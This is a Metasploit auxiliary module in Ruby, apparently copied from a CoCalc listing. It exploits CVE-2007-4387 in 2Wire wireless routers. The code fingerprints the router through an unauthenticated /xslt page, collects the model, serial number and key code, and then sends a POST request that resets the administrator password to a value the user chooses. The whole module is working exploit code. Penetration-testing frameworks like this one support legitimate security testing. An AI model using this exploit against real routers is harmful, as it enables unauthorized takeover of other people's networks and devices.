CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8

9
  def initialize(info={})
10
    super(update_info(info,
11
      'Name'           => "2Wire Cross-Site Request Forgery Password Reset Vulnerability",
12
      'Description'    => %q{
13
          This module will reset the admin password on a 2Wire wireless router.  This is
14
        done by using the /xslt page where authentication is not required, thus allowing
15
        configuration changes (such as resetting the password) as administrators.
16
      },
17
      'License'        => MSF_LICENSE,
18
      'Author'         =>
19
        [
20
          'hkm [at] hakim.ws',              #Initial discovery, poc
21
          'Travis Phillips',  #Msf module
22
        ],
23
      'References'     =>
24
        [
25
          [ 'CVE', '2007-4387' ],
26
          [ 'OSVDB', '37667' ],
27
          [ 'BID', '36075' ],
28
          [ 'URL', 'https://seclists.org/bugtraq/2007/Aug/225' ],
29
        ],
30
      'DisclosureDate' => '2007-08-15' ))
31

32
      register_options(
33
        [
34
          OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
35
        ])
36
  end
37

38
  def post_auth?
39
    false
40
  end
41

42
  def run
43

44
    print_status("Attempting to connect to http://#{rhost}/xslt?PAGE=A07 to gather information")
45
    res = send_request_raw(
46
    {
47
      'method'  => 'GET',
48
      'uri'     => '/xslt?PAGE=A07',
49
    }, 25)
50

51
    if not res
52
      print_error("No response from server")
53
      return
54
    end
55

56
    # check to see if we get HTTP OK
57
    if (res.code == 200)
58
      print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
59
    else
60
      print_error("Did not get HTTP 200, URL was not found. Exiting!")
61
      return
62
    end
63

64
    # Check to verify server reported is a 2wire router
65
    if (res.headers['Server'].match(/2wire Gateway/i))
66
      print_status("Server is a 2wire Gateway! Grabbing info\n")
67
    else
68
      print_error("Target doesn't seem to be a 2wire router. Exiting!")
69
      return
70
    end
71

72
    print_status("---===[ Router Information ]===---")
73

74
    # Grabbing the Model Number
75
    if res.body.match(/<td class="textmono">(.*)<\/td>/i)
76
      model = $1
77
      print_status("Model: #{model}")
78
    end
79

80
    # Grabbing the serial Number
81
    if res.body.match(/<td class="data">(\d{12})<\/td>/i)
82
      serial = $1
83
      print_status("Serial: #{serial}")
84
    end
85

86
    # Grabbing the Hardware Version
87
    if res.body.match(/<td class="data">(\d{4}-\d{6}-\d{3})<\/td>/i)
88
      hardware = $1
89
      print_status("Hardware Version: #{hardware}")
90
    end
91

92
    # Check the Software Version
93
    if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
94
      ver = $1
95
      print_status("Software version: #{ver}")
96
    else
97
      print_error("Target is not a version 5 router. Exiting!")
98
      return
99
    end
100

101
    # Grabbing the Key Code
102
    if res.body.match(/<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})<\/td>/i)
103
      key = $1
104
      print_status("Key Code: #{key}\n")
105
    end
106

107
    print_status("Attempting to exploit Password Reset Vulnerability on #{rhost}")
108
    print_status("Connecting to http://#{rhost}/xslt?PAGE=H04 to make sure page exist.")
109

110
    res = send_request_raw(
111
    {
112
      'method'  => 'GET',
113
      'uri'     => '/xslt?PAGE=H04',
114
    }, 25)
115

116
    if ( res and res.code == 200 and res.body.match(/<title>System Setup - Password<\/title>/i))
117
      print_status("Found password reset page. Attempting to reset admin password to #{datastore['PASSWORD']}")
118

119
      data  = 'PAGE=H04_POST'
120
      data << '&THISPAGE=H04'
121
      data << '&NEXTPAGE=A01'
122
      data << '&PASSWORD=' + datastore['PASSWORD']
123
      data << '&PASSWORD_CONF=' + datastore['PASSWORD']
124
      data << '&HINT='
125

126
      res = send_request_cgi(
127
      {
128
        'method'  => 'POST',
129
        'uri'     => '/xslt',
130
        'data'    => data,
131
      }, 25)
132

133
      if res and res.code == 200
134
        cookies = res.get_cookies
135
        if cookies && cookies.match(/(.*); path=\//)
136
          cookie= $1
137
          print_good("Got cookie #{cookie}. Password reset was successful!\n")
138
        end
139
      end
140
    end
141

142
  end
143
end
144

145